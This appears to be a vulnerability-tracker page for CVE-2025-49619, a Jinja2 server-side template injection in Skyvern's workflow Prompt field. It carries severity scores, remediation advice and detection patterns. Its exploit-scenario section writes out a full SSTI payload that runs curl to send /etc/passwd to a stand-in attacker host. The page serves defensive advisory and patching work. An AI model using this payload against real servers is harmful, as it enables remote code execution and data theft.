Skip to main content

Skyvern EUVDEUVD-2025-17375

| CVE-2025-49619 HIGH
Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336)
2025-06-07 cve@mitre.org GHSA-h92g-3xc3-ww2r
8.5
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2021 - Vulnerable and Outdated Components
ASVS 5.0
V1 - Encoding and Sanitization Template injection prevention
Impact

This vulnerability presents a moderate-to-high real-world risk despite authentication requirements. CVSS metrics show: AV:N (network-accessible), AC:L (low complexity - no special conditions needed), PR:L (requires authenticated user), UI:N (no user interaction beyond initial setup), and S:C (scope change - impacts beyond the vulnerable component). The CVSS base score of 8.5 reflects high confidentiality impact (C:H) but lower integrity/availability (I:L/A:N), suggesting data exfiltration is the primary concern. The authentication requirement (PR:L) significantly reduces attack surface compared to unauthenticated SSTI, making this a credible insider threat or compromised-account scenario. Without explicit KEV or EPSS data provided, the 'blind RCE' nature suggests successful exploitation requires blind techniques (time-based responses, out-of-band callbacks) but is entirely feasible. The low attack complexity and network accessibility make this a realistic priority for organizations deploying Skyvern in multi-tenant or untrusted-user environments. Real-world risk is elevated if: Skyvern instances are internet-facing, handle sensitive workflows, or have multiple authenticated users.

Exploit ScenarioDerived

An authenticated user with workflow-editing permissions (or an attacker with stolen credentials) creates or edits a Navigation v2 Block workflow. In the Prompt field, instead of entering a normal prompt like 'Navigate to login page', they inject a malicious Jinja2 expression: {{ request.application.__globals__.__builtins__.__import__('os').popen('curl http://attacker.com/exfil?data=$(cat /etc/passwd)').read() }}. When the workflow executes on the server, this expression is evaluated by Jinja2, triggering code execution that exfiltrates sensitive files to an attacker-controlled server. Because the RCE is 'blind' (no direct output to attacker), the attack relies on out-of-band channels (DNS exfiltration, HTTP callbacks, or file writes to accessible locations). An attacker could also use time-based blind techniques (sleep commands) to confirm successful injection. With low attack complexity and network accessibility, this is operationally straightforward for anyone with valid Skyvern credentials.

Act Now Prioritize within 24-48h. Why: HIGH severity + EPSS > 10%.
No patch listed yet 66.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAI

Skyvern versions through 0.1.85 contain a server-side template injection (SSTI) vulnerability in the Prompt field of workflow blocks (specifically Navigation v2 Block) that allows authenticated users to inject malicious Jinja2 template expressions. These expressions are evaluated server-side without proper sanitization, enabling blind remote code execution. With a CVSS score of 8.5, this vulnerability requires valid authentication but has high confidentiality impact and crosses trust boundaries (CVSS:3.1/S:C).

RemediationAI

  1. Immediate Mitigation: Restrict access to workflow creation and editing to highly trusted administrators only; audit all existing workflows for suspicious Prompt field content. 2. Patch: Upgrade Skyvern to a version > 0.1.85 when available (check https://github.com/skyvern-ai/skyvern or https://skyvern.ai for release notes). 3. Workaround (if patching delayed): Implement server-side input validation on Prompt fields using a whitelist approach—only allow literal strings or use Jinja2's sandbox mode (jinja2.sandbox.SandboxedEnvironment) with restricted builtins and access controls to prevent dangerous object traversal. 4. Code-level fix: Developers should sanitize/escape all user input before passing to Jinja2 render(), or use template auto-escaping and disable dynamic code evaluation in template context. 5. Detection: Search workflow configurations for suspicious Jinja2 syntax (e.g., {{, {%, __import__, os., eval, popen) in Prompt fields.

Affected VersionsENISA

Skyvern 0 ≤0.1.85

Affected Packages

pypi skyvern no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from improper handling of Jinja2 template input in Skyvern's workflow automation system. Jinja2 is a powerful Python templating engine that supports expression evaluation; when user-supplied input is passed directly to Jinja2's render functions without sanitization, attackers can break out of template context and execute arbitrary Python code. The root cause is classified under CWE-1336 (Improper Neutralization of Special Elements used in a Template Engine), indicating that user input reaches the template rendering engine without adequate filtering or escaping. The affected component (Prompt field in Navigation v2 Block and similar workflow blocks) processes this unsanitized input as template code during workflow execution, allowing expression injection such as {{ 7*7 }} or more dangerous payloads leveraging Jinja2's built-in functions and object access to execute system commands.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.5 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

2
PoC Detected
Jun 17, 2025 - 21:15 vuln.today
Public exploit code
CVE Published
Jun 07, 2025 - 14:15 nvd
HIGH 8.5

DescriptionCVE.org

Skyvern through 0.1.85 is vulnerable to server-side template injection (SSTI) in the Prompt field of workflow blocks such as the Navigation v2 Block. Improper sanitization of Jinja2 template input allows authenticated users to inject crafted expressions that are evaluated on the server, leading to blind remote code execution (RCE).

Executive ViewAI

Why It Matters

Skyvern versions up to 0.1.85 contain a critical remote code execution vulnerability that allows authenticated users to execute arbitrary commands on affected servers through workflow automation features. Organizations using Skyvern for workflow automation face immediate risk of complete system compromise, data exfiltration, and operational disruption, particularly if the application is internet-facing or accessible to untrusted users.

Business Impact: Severe
Compensating Controls
  1. Restrict workflow block creation/editing to administrative accounts only via role-based access control. 2) Implement Web Application Firewall (WAF) rules to block common Jinja2 template injection patterns in HTTP requests (e.g., {{, {%, pipe operators). 3) Network segmentation: isolate Skyvern servers and restrict outbound connections to approved destinations only. 4) Disable Skyvern entirely if not critical to operations until patch is available. 5) Deploy runtime application self-protection (RASP) if available. 6) Monitor for exploitation attempts via log analysis for suspicious Jinja2 syntax in workflow payloads. 7) Require multi-factor authentication for all Skyvern administrative access.

Threat Intelligence Overview

Threat Score
5.2/10
Composite threat intelligence
EPSS Score
66.4%
Top 1% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 66.4%
Patch available No
Active threat Yes
Deciding rule
HIGH severity + EPSS > 10%
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Immediate
Exploitation· derived
Active
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

143
Low Medium High Critical
KEV: 0
EPSS: +66
CVSS: +42
PoC: +20
Weaponized: +15
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy